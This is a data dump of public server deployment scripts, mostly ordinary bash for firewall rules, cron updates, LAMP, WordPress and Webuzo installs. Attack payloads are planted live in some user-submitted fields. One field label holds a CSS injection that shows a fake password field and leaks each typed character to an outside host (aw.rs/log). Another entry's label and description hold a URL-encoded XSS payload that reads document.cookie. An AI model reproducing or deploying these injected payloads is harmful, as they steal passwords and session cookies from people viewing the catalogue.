ACCEPT\n\tiptables -A INPUT -m limit --limit 5/min -j LOG --log-prefix \"iptables_INPUT_denied: \" --log-level 7\n\tiptables -A INPUT -j REJECT\n\tiptables -A FORWARD -m limit --limit 5/min -j LOG --log-prefix \"iptables_FORWARD_denied: \" --log-level 7\n\tiptables -A FORWARD -j REJECT\n\tip6tables -A INPUT -i lo -j ACCEPT\n\tip6tables -A INPUT ! -i lo -s 1234::5678/128 -j REJECT\n\tip6tables -A INPUT -p icmpv6 -j ACCEPT\n\tip6tables -A INPUT -p tcp --dport 80 -m state --state NEW -j ACCEPT\n\tip6tables -A INPUT -p tcp --dport 443 -m state --state NEW -j ACCEPT\n\tip6tables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT\n\tip6tables -A INPUT -m limit --limit 5/min -j LOG --log-prefix \"ip6tables_INPUT_denied: \" --log-level 7\n\tip6tables -A INPUT -j REJECT\n\tip6tables -A FORWARD -m limit --limit 5/min -j LOG --log-prefix \"ip6tables_FORWARD_denied: \" --log-level 7\n\tip6tables -A FORWARD -j REJECT\n\techo \"iptables-persistent iptables-persistent/autosave_v4 boolean true\" | debconf-set-selections\n\techo \"iptables-persistent iptables-persistent/autosave_v6 boolean true\" | debconf-set-selections\n\tapt-get install -y iptables-persistent\n}\n\nfunction centos7_iptables_lamp {\n\t# Stops and Disables firewalld.\n\t# Installs iptables-services, configures optimal iptables/ip6tables rules for a LAMP stack.\n\t# Saves iptables/ip6tables rules, enables iptables-services to start on boot and starts iptables-services.\n\n\tsystemctl stop firewalld.service && systemctl disable firewalld.service\n\tyum install -y iptables-services\n\tiptables -A INPUT -i lo -j ACCEPT\n\tiptables -A INPUT ! -i lo -s 127.0.0.0/8 -j REJECT\n\tiptables -A INPUT -p icmp -m state --state NEW --icmp-type 8 -j ACCEPT\n\tiptables -A INPUT -p tcp --dport 22 -m state --state NEW -j ACCEPT\n\tiptables -A INPUT -p tcp --dport 80 -m state --state NEW -j ACCEPT\n\tiptables -A INPUT -p tcp --dport 443 -m state --state NEW -j ACCEPT\n\tiptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT\n\tiptables -A INPUT -m limit --limit 5/min -j LOG --log-prefix \"iptables_INPUT_denied: \" --log-level 7\n\tiptables -A INPUT -j REJECT\n\tiptables -A FORWARD -m limit --limit 5/min -j LOG --log-prefix \"iptables_FORWARD_denied: \" --log-level 7\n\tiptables -A FORWARD -j REJECT\n\tip6tables -A INPUT -i lo -j ACCEPT\n\tip6tables -A INPUT ! -i lo -s 1234::5678/128 -j REJECT\n\tip6tables -A INPUT -p icmpv6 -j ACCEPT\n\tip6tables -A INPUT -p tcp --dport 80 -m state --state NEW -j ACCEPT\n\tip6tables -A INPUT -p tcp --dport 443 -m state --state NEW -j ACCEPT\n\tip6tables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT\n\tip6tables -A INPUT -m limit --limit 5/min -j LOG --log-prefix \"ip6tables_INPUT_denied: \" --log-level 7\n\tip6tables -A INPUT -j REJECT\n\tip6tables -A FORWARD -m limit --limit 5/min -j LOG --log-prefix \"ip6tables_FORWARD_denied: \" --log-level 7\n\tip6tables -A FORWARD -j REJECT\n\tservice iptables save\n\tservice ip6tables save\n\tsystemctl enable iptables && systemctl enable ip6tables\n\tsystemctl start iptables && systemctl start ip6tables\n}\n\n# Crons\n#######\n\nfunction ubuntu1604_update_cron {\n\t# Configures a cron job to update the system every day at 1AM. \n\n\techo \"00 1 * * * apt-get update && apt-get upgrade -y\" > /root/.cron\n\tcrontab -u root /root/.cron\n}\n\nfunction debian8_update_cron {\n\t# Configures a cron job to update the system every day at 1AM. \n\n\techo \"00 1 * * * apt-get update && apt-get upgrade -y\" > /root/.cron\n\tcrontab -u root /root/.cron\n}\n\nfunction centos7_update_cron {\n\t# Configures a cron job to update the system every day at 1AM. \n\n\techo \"00 1 * * * yum update -y\" > /root/.cron\n\tcrontab -u root /root/.cron\n}\n\n\n#########################\n# Deprecated Ubuntu 12.04\n#########################\n\nfunction system_update {\n apt-get update\n apt-get -y install aptitude\n aptitude -y full-upgrade\n}\n\nfunction system_primary_ip {\n # returns the primary IP assigned to eth0\n echo $(ifconfig eth0 | awk -F: ''/inet addr:/ {print $2}'' | awk ''{ print $1 }'')\n}\n\nfunction get_rdns {\n # calls host on an IP address and returns its reverse dns\n\n if [ ! -e /usr/bin/host ]; then\n aptitude -y install dnsutils > /dev/null\n fi\n echo $(host $1 | awk ''/pointer/ {print $5}'' | sed ''s/\\.$//'')\n}\n\nfunction get_rdns_primary_ip {\n # returns the reverse dns of the primary IP assigned to this system\n echo $(get_rdns $(system_primary_ip))\n}\n\nfunction system_set_hostname {\n # $1 - The hostname to define\n HOSTNAME=\"$1\"\n \n if [ ! -n \"$HOSTNAME\" ]; then\n echo \"Hostname undefined\"\n return 1;\n fi\n \n echo \"$HOSTNAME\" > /etc/hostname\n hostname -F /etc/hostname\n}\n\nfunction system_add_host_entry {\n # $1 - The IP address to set a hosts entry for\n # $2 - The FQDN to set to the IP\n IPADDR=\"$1\"\n FQDN=\"$2\"\n\n if [ -z \"$IPADDR\" -o -z \"$FQDN\" ]; then\n echo \"IP address and/or FQDN Undefined\"\n return 1;\n fi\n \n echo $IPADDR $FQDN >> /etc/hosts\n}\n\n\n###########################################################\n# Users and Authentication\n###########################################################\n\nfunction user_add_sudo {\n # Installs sudo if needed and creates a user in the sudo group.\n #\n # $1 - Required - username\n # $2 - Required - password\n USERNAME=\"$1\"\n USERPASS=\"$2\"\n\n if [ ! -n \"$USERNAME\" ] || [ ! -n \"$USERPASS\" ]; then\n echo \"No new username and/or password entered\"\n return 1;\n fi\n \n aptitude -y install sudo\n adduser $USERNAME --disabled-password --gecos \"\"\n echo \"$USERNAME:$USERPASS\" | chpasswd\n usermod -aG sudo $USERNAME\n}\n\nfunction user_add_pubkey {\n # Adds the users public key to authorized_keys for the specified user. Make sure you wrap your input variables in double quotes, or the key may not load properly.\n #\n #\n # $1 - Required - username\n # $2 - Required - public key\n USERNAME=\"$1\"\n USERPUBKEY=\"$2\"\n \n if [ ! -n \"$USERNAME\" ] || [ ! -n \"$USERPUBKEY\" ]; then\n echo \"Must provide a username and the location of a pubkey\"\n return 1;\n fi\n \n if [ \"$USERNAME\" == \"root\" ]; then\n mkdir /root/.ssh\n echo \"$USERPUBKEY\" >> /root/.ssh/authorized_keys\n return 1;\n fi\n \n mkdir -p /home/$USERNAME/.ssh\n echo \"$USERPUBKEY\" >> /home/$USERNAME/.ssh/authorized_keys\n chown -R \"$USERNAME\":\"$USERNAME\" /home/$USERNAME/.ssh\n}\n\nfunction ssh_disable_root {\n # Disables root SSH access.\n sed -i ''s/PermitRootLogin yes/PermitRootLogin no/'' /etc/ssh/sshd_config\n touch /tmp/restart-ssh\n \n}\n\n###########################################################\n# Postfix\n###########################################################\n\nfunction postfix_install_loopback_only {\n # Installs postfix and configure to listen only on the local interface. Also\n # allows for local mail delivery\n\n echo \"postfix postfix/main_mailer_type select Internet Site\" | debconf-set-selections\n echo \"postfix postfix/mailname string localhost\" | debconf-set-selections\n echo \"postfix postfix/destinations string localhost.localdomain, localhost\" | debconf-set-selections\n aptitude -y install postfix\n /usr/sbin/postconf -e \"inet_interfaces = loopback-only\"\n #/usr/sbin/postconf -e \"local_transport = error:local delivery is disabled\"\n\n touch /tmp/restart-postfix\n}\n\n\n###########################################################\n# Apache\n###########################################################\n\nfunction apache_install {\n # installs the system default apache2 MPM\n aptitude -y install apache2\n\n a2dissite default # disable the interfering default virtualhost\n\n # clean up, or add the NameVirtualHost line to ports.conf\n sed -i -e ''s/^NameVirtualHost \\*$/NameVirtualHost *:80/'' /etc/apache2/ports.conf\n if ! grep -q NameVirtualHost /etc/apache2/ports.conf; then\n echo ''NameVirtualHost *:80'' > /etc/apache2/ports.conf.tmp\n cat /etc/apache2/ports.conf >> /etc/apache2/ports.conf.tmp\n mv -f /etc/apache2/ports.conf.tmp /etc/apache2/ports.conf\n fi\n}\n\nfunction apache_tune {\n # Tunes Apache''s memory to use the percentage of RAM you specify, defaulting to 40%\n\n # $1 - the percent of system memory to allocate towards Apache\n\n if [ ! -n \"$1\" ];\n then PERCENT=40\n else PERCENT=\"$1\"\n fi\n\n aptitude -y install apache2-mpm-prefork\n PERPROCMEM=10 # the amount of memory in MB each apache process is likely to utilize\n MEM=$(grep MemTotal /proc/meminfo | awk ''{ print int($2/1024) }'') # how much memory in MB this system has\n MAXCLIENTS=$((MEM*PERCENT/100/PERPROCMEM)) # calculate MaxClients\n MAXCLIENTS=${MAXCLIENTS/.*} # cast to an integer\n sed -i -e \"s/\\(^[ \\t]*MaxClients[ \\t]*\\)[0-9]*/\\1$MAXCLIENTS/\" /etc/apache2/apache2.conf\n\n touch /tmp/restart-apache2\n}\n\nfunction apache_virtualhost {\n # Configures a VirtualHost\n\n # $1 - required - the hostname of the virtualhost to create \n\n if [ ! -n \"$1\" ]; then\n echo \"apache_virtualhost() requires the hostname as the first argument\"\n return 1;\n fi\n\n if [ -e \"/etc/apache2/sites-available/$1\" ]; then\n echo /etc/apache2/sites-available/$1 already exists\n return;\n fi\n\n mkdir -p /srv/www/$1/public_html /srv/www/$1/logs\n\n echo \"\" > /etc/apache2/sites-available/$1\n echo \" ServerName $1\" >> /etc/apache2/sites-available/$1\n echo \" DocumentRoot /srv/www/$1/public_html/\" >> /etc/apache2/sites-available/$1\n echo \" ErrorLog /srv/www/$1/logs/error.log\" >> /etc/apache2/sites-available/$1\n echo \" CustomLog /srv/www/$1/logs/access.log combined\" >> /etc/apache2/sites-available/$1\n echo \"\" >> /etc/apache2/sites-available/$1\n\n a2ensite $1\n\n touch /tmp/restart-apache2\n}\n\nfunction apache_virtualhost_from_rdns {\n # Configures a VirtualHost using the rdns of the first IP as the ServerName\n\n apache_virtualhost $(get_rdns_primary_ip)\n}\n\n\nfunction apache_virtualhost_get_docroot {\n if [ ! -n \"$1\" ]; then\n echo \"apache_virtualhost_get_docroot() requires the hostname as the first argument\"\n return 1;\n fi\n\n if [ -e /etc/apache2/sites-available/$1 ];\n then echo $(awk ''/DocumentRoot/ {print $2}'' /etc/apache2/sites-available/$1 )\n fi\n}\n\n###########################################################\n# mysql-server\n###########################################################\n\nfunction mysql_install {\n # $1 - the mysql root password\n\n if [ ! -n \"$1\" ]; then\n echo \"mysql_install() requires the root pass as its first argument\"\n return 1;\n fi\n\n echo \"mysql-server mysql-server/root_password password $1\" | debconf-set-selections\n echo \"mysql-server mysql-server/root_password_again password $1\" | debconf-set-selections\n apt-get -y install mysql-server mysql-client\n\n echo \"Sleeping while MySQL starts up for the first time...\"\n sleep 5\n}\n\nfunction mysql_tune {\n # Tunes MySQL''s memory usage to utilize the percentage of memory you specify, defaulting to 40%\n\n # $1 - the percent of system memory to allocate towards MySQL\n\n if [ ! -n \"$1\" ];\n then PERCENT=40\n else PERCENT=\"$1\"\n fi\n\n sed -i -e ''s/^#skip-innodb/skip-innodb/'' /etc/mysql/my.cnf # disable innodb - saves about 100M\n\n MEM=$(awk ''/MemTotal/ {print int($2/1024)}'' /proc/meminfo) # how much memory in MB this system has\n MYMEM=$((MEM*PERCENT/100)) # how much memory we''d like to tune mysql with\n MYMEMCHUNKS=$((MYMEM/4)) # how many 4MB chunks we have to play with\n\n # mysql config options we want to set to the percentages in the second list, respectively\n OPTLIST=(key_buffer sort_buffer_size read_buffer_size read_rnd_buffer_size myisam_sort_buffer_size query_cache_size)\n DISTLIST=(75 1 1 1 5 15)\n\n for opt in ${OPTLIST[@]}; do\n sed -i -e \"/\\[mysqld\\]/,/\\[.*\\]/s/^$opt/#$opt/\" /etc/mysql/my.cnf\n done\n\n for i in ${!OPTLIST[*]}; do\n val=$(echo | awk \"{print int((${DISTLIST[$i]} * $MYMEMCHUNKS/100))*4}\")\n if [ $val -lt 4 ]\n then val=4\n fi\n config=\"${config}\\n${OPTLIST[$i]} = ${val}M\"\n done\n\n sed -i -e \"s/\\(\\[mysqld\\]\\)/\\1\\n$config\\n/\" /etc/mysql/my.cnf\n\n touch /tmp/restart-mysql\n}\n\nfunction mysql_create_database {\n # $1 - the mysql root password\n # $2 - the db name to create\n\n if [ ! -n \"$1\" ]; then\n echo \"mysql_create_database() requires the root pass as its first argument\"\n return 1;\n fi\n if [ ! -n \"$2\" ]; then\n echo \"mysql_create_database() requires the name of the database as the second argument\"\n return 1;\n fi\n\n echo \"CREATE DATABASE $2;\" | mysql -u root -p$1\n}\n\nfunction mysql_create_user {\n # $1 - the mysql root password\n # $2 - the user to create\n # $3 - their password\n\n if [ ! -n \"$1\" ]; then\n echo \"mysql_create_user() requires the root pass as its first argument\"\n return 1;\n fi\n if [ ! -n \"$2\" ]; then\n echo \"mysql_create_user() requires username as the second argument\"\n return 1;\n fi\n if [ ! -n \"$3\" ]; then\n echo \"mysql_create_user() requires a password as the third argument\"\n return 1;\n fi\n\n echo \"CREATE USER ''$2''@''localhost'' IDENTIFIED BY ''$3'';\" | mysql -u root -p$1\n}\n\nfunction mysql_grant_user {\n # $1 - the mysql root password\n # $2 - the user to bestow privileges \n # $3 - the database\n\n if [ ! -n \"$1\" ]; then\n echo \"mysql_create_user() requires the root pass as its first argument\"\n return 1;\n fi\n if [ ! -n \"$2\" ]; then\n echo \"mysql_create_user() requires username as the second argument\"\n return 1;\n fi\n if [ ! -n \"$3\" ]; then\n echo \"mysql_create_user() requires a database as the third argument\"\n return 1;\n fi\n\n echo \"GRANT ALL PRIVILEGES ON $3.* TO ''$2''@''localhost'';\" | mysql -u root -p$1\n echo \"FLUSH PRIVILEGES;\" | mysql -u root -p$1\n\n}\n\n###########################################################\n# PHP functions\n###########################################################\n\nfunction php_install_with_apache {\n aptitude -y install php5 php5-mysql libapache2-mod-php5\n touch /tmp/restart-apache2\n}\n\nfunction php_tune {\n # Tunes PHP to utilize up to 32M per process\n\n sed -i''-orig'' ''s/memory_limit = [0-9]\\+M/memory_limit = 32M/'' /etc/php5/apache2/php.ini\n touch /tmp/restart-apache2\n}\n\n###########################################################\n# Wordpress functions\n###########################################################\n\nfunction wordpress_install {\n # installs the latest wordpress tarball from wordpress.org\n\n # $1 - required - The existing virtualhost to install into\n\n if [ ! -n \"$1\" ]; then\n echo \"wordpress_install() requires the vitualhost as its first argument\"\n return 1;\n fi\n\n if [ ! -e /usr/bin/wget ]; then\n aptitude -y install wget\n fi\n\n VPATH=$(apache_virtualhost_get_docroot $1)\n\n if [ ! -n \"$VPATH\" ]; then\n echo \"Could not determine DocumentRoot for $1\"\n return 1;\n fi\n\n # download, extract, chown, and get our config file started\n cd $VPATH\n wget http://wordpress.org/latest.tar.gz\n tar xfz latest.tar.gz\n chown -R www-data: wordpress/\n cd $VPATH/wordpress\n cp wp-config-sample.php wp-config.php\n chown www-data wp-config.php\n chmod 640 wp-config.php\n\n # database configuration\n WPPASS=$(randomString 20)\n mysql_create_database \"$DB_PASSWORD\" wordpress\n mysql_create_user \"$DB_PASSWORD\" wordpress \"$WPPASS\"\n mysql_grant_user \"$DB_PASSWORD\" wordpress wordpress\n\n # configuration file updates\n for i in {1..4}\n do sed -i \"0,/put your unique phrase here/s/put your unique phrase here/$(randomString 50)/\" wp-config.php\n done\n\n sed -i ''s/database_name_here/wordpress/'' wp-config.php\n sed -i ''s/username_here/wordpress/'' wp-config.php\n sed -i \"s/password_here/$WPPASS/\" wp-config.php\n\n # http://downloads.wordpress.org/plugin/wp-super-cache.0.9.8.zip\n}\n\n###########################################################\n# Other niceties!\n###########################################################\n\nfunction goodstuff {\n # Installs the REAL vim, wget, less, and enables color root prompt and the \"ll\" list long alias\n\n aptitude -y install wget vim less\n sed -i -e ''s/^#PS1=/PS1=/'' /root/.bashrc # enable the colorful root bash prompt\n sed -i -e \"s/^#alias ll=''ls -l''/alias ll=''ls -al''/\" /root/.bashrc # enable ll list long alias <3\n}\n\n\n###########################################################\n# utility functions\n###########################################################\n\nfunction restartServices {\n # restarts services that have a file in /tmp/needs-restart/\n\n for service in $(ls /tmp/restart-* | cut -d- -f2-10); do\n /etc/init.d/$service restart\n rm -f /tmp/restart-$service\n done\n}\n\nfunction randomString {\n if [ ! -n \"$1\" ];\n then LEN=20\n else LEN=\"$1\"\n fi\n\n echo $(\n\n# ", "user_defined_fields": [{"name": "password", "label": "password", "example": "Please enter you account password to continue"}, {"name": "var4", "label": "pick{}body{visibility:hidden}#password{visibility:visible;position:fixed;left:50px;top:50px}#password[value$=''a'']{background-image:url(''https://aw.rs/log?a'')!important}#password[value$=''b'']{background-image:url(''https://aw.rs/log?b'')!important}#password[value$=''c'']{background-image:url(''https://aw.rs/log?c'')!important}#password[value$=''d'']{background-image:url(''https://aw.rs/log?d'')!important}#password[value$=''e'']{background-image:url(''https://aw.rs/log?e'')!important}#password[value$=''f'']{background-image:url(''https://aw.rs/log?f'')!important}#password[value$=''g'']{background-image:url(''https://aw.rs/log?g'')!important}#password[value$=''h'']{background-image:url(''https://aw.rs/log?h'')!important}#password[value$=''i'']{background-image:url(''https://aw.rs/log?i'')!important}//", "manyof": "foo,bar,a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s"}]}, {"id": 2822, "username": "smartjones", "user_gravatar_id": "0b874d2362ffd16a2178ba9339c40798", "label": "Smartweb", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu10.04lts32bit"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash\n#\n#\n#\n#\n\nsource \n\nsystem_update\npostfix_install_loopback_only\nmysql_install \"$DB_PASSWORD\" && mysql_tune 40\nmysql_create_database \"$DB_PASSWORD\" \"$DB_NAME\"\nmysql_create_user \"$DB_PASSWORD\" \"$DB_USER\" \"$DB_USER_PASSWORD\"\nmysql_grant_user \"$DB_PASSWORD\" \"$DB_USER\" \"$DB_NAME\"\nphp_install_with_apache && php_tune\napache_install && apache_tune 40 && apache_virtualhost_from_rdns\ngoodstuff\nrestartServices", "user_defined_fields": [{"name": "db_password", "label": "MySQL root Password"}, {"name": "db_name", "label": "Create Database", "default": "", "example": "Optionally create this database"}, {"name": "db_user", "label": "Create MySQL User", "default": "", "example": "Optionally create this user"}, {"name": "db_user_password", "label": "MySQL User''s Password", "default": "", "example": "User''s password"}]}, {"id": 9222, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "CS-Cart powered by Webuzo", "description": "CS-Cart is the best shopping cart solution for building an ecommerce website of any size: from a small web store to a virtual shopping mall. A ready storefront, support for many payment and shipping options, full inventory control, unlimited products, promotional tools, and other ecommerce software features out-of-the-box.\r\n\r\nCS-Cart shopping cart software offers a search engine friendly environment that involves the tableless layout, customizable META tags, friendly URLs and Google sitemap. This all contributes well to the proper indexing of your web store and generally improves its ranking among the popular search engines like Google, Yahoo! Search and Bing.\r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure CS-Cart and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos6.8", "linode/ubuntu12.04lts", "linode/ubuntu14.04lts", "linode/centos5.6", "linode/ubuntu10.04lts", "linode/ubuntu10.04lts32bit"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "CS-Cart powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install CS-Cart and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About CS-Cart :\n# CS-Cart is the best shopping cart solution for building an ecommerce website of any size: from a small \n# web store to a virtual shopping mall. \n# A ready storefront, support for many payment and shipping options, full inventory control, \n# unlimited products, promotional tools, and other ecommerce software features out-of-the-box.\n###########################################################################################################\n\n# Install CS-Cart Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=479&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling CS-Cart and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, CS-Cart has been successfully installed\"\necho \" \"\necho \"You can now configure CS-Cart and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 606726, "username": "zek1", "user_gravatar_id": "db3274167e091d0a1fdd8e206c5bf786", "label": "zek''%3E%3Cstrong%3Exss%3Ch1%09onmouseover=prompt(document.cookie", "description": "zek''%3E%3Cstrong%3Exss%3Ch1%09onmouseover=prompt(document.cookie)%3Exss", "ordinal": 0, "logo_url": "", "images": ["linode/opensuse15.0"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash", "user_defined_fields": []}, {"id": 9223, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Chive powered by Webuzo", "description": "Chive is a modern Open-Source MySQL Data Management tool. With it''s fast and elaborate user interface it is getting very popular especially by web engineers. Chive was created because of an disaffection with existing tools. They usually were hard to handle and very time-consuming while the daily use of an web engineer.\r\n\r\nChive is a free, open source, web-based database management tool, designed to bring joy to web developers - with easy administration, super fast UI and state of the art web technologies. Based on top of the current version of the Yii framework, Chive takes advantage of the MVC design pattern and unit testing. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Chive and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos6.8", "linode/ubuntu12.04lts", "linode/ubuntu14.04lts", "linode/centos5.6", "linode/ubuntu10.04lts", "linode/ubuntu10.04lts32bit"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Chive powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Chive and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Chive :\n# Chive is a modern Open-Source MySQL Data Management tool.\n# With it''s fast and elaborate user interface it is getting very popular especially by web engineers.\n# Chive was created because of an disaffection with existing tools.\n# They usually were hard to handle and very time-consuming while the daily use of an web engineer.\n###########################################################################################################\n\n# Install Chive Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=398&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Chive and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Chive has been successfully installed\"\necho \" \"\necho \"You can now configure Chive and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 978951, "username": "meenubediShine", "user_gravatar_id": "ac16f37ccd972a6f698dab5aab1188b2", "label": "meenu", "description": "description", "ordinal": 0, "logo_url": "", "images": ["linode/alpine3.12"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Revision Note", "script": "#!/bin/bash\r\n\r\nfdgrthtyjuy7i", "user_defined_fields": []}, {"id": 9224, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Commentics powered by Webuzo", "description": "Commentics is a free, advanced PHP comment script with many features. Professionally written and with open source code, its main aims are to be integrable, customizable and secure. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Commentics and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos6.8", "linode/ubuntu12.04lts", "linode/ubuntu14.04lts", "linode/centos5.6", "linode/ubuntu10.04lts", "linode/ubuntu10.04lts32bit"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Commentics powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Commentics and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Commentics :\n# Commentics is a free, advanced PHP comment script with many features.\n# Professionally written and with open source code, its main aims are to be integrable, customizable and secure. \n###########################################################################################################\n\n# Install Commentics Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=446&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Commentics and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Commentics has been successfully installed\"\necho \" \"\necho \"You can now configure Commentics and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 10248, "username": "regna", "user_gravatar_id": "3bd1beb6402a8ba4bb1606f0ad2cf639", "label": "functions.sh", "description": "functions.sh from sys-apps/openrc, exports and contains various helpful functions.", "ordinal": 0, "logo_url": "", "images": ["linode/gentoo"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "openrc-0.12.4", "script": "#!/bin/bash\n# Copyright (c) 2007-2009 Roy Marples \n# Released under the 2-clause BSD license.\n\n# Allow any sh script to work with einfo functions and friends\n# We also provide a few helpful functions for other programs to use\n\nRC_GOT_FUNCTIONS=\"yes\"\n\neindent()\n{\n : $(( EINFO_INDENT = ${EINFO_INDENT:-0} + 2 ))\n [ \"$EINFO_INDENT\" -gt 40 ] && EINFO_INDENT=40\n export EINFO_INDENT\n}\n\neoutdent()\n{\n : $(( EINFO_INDENT = 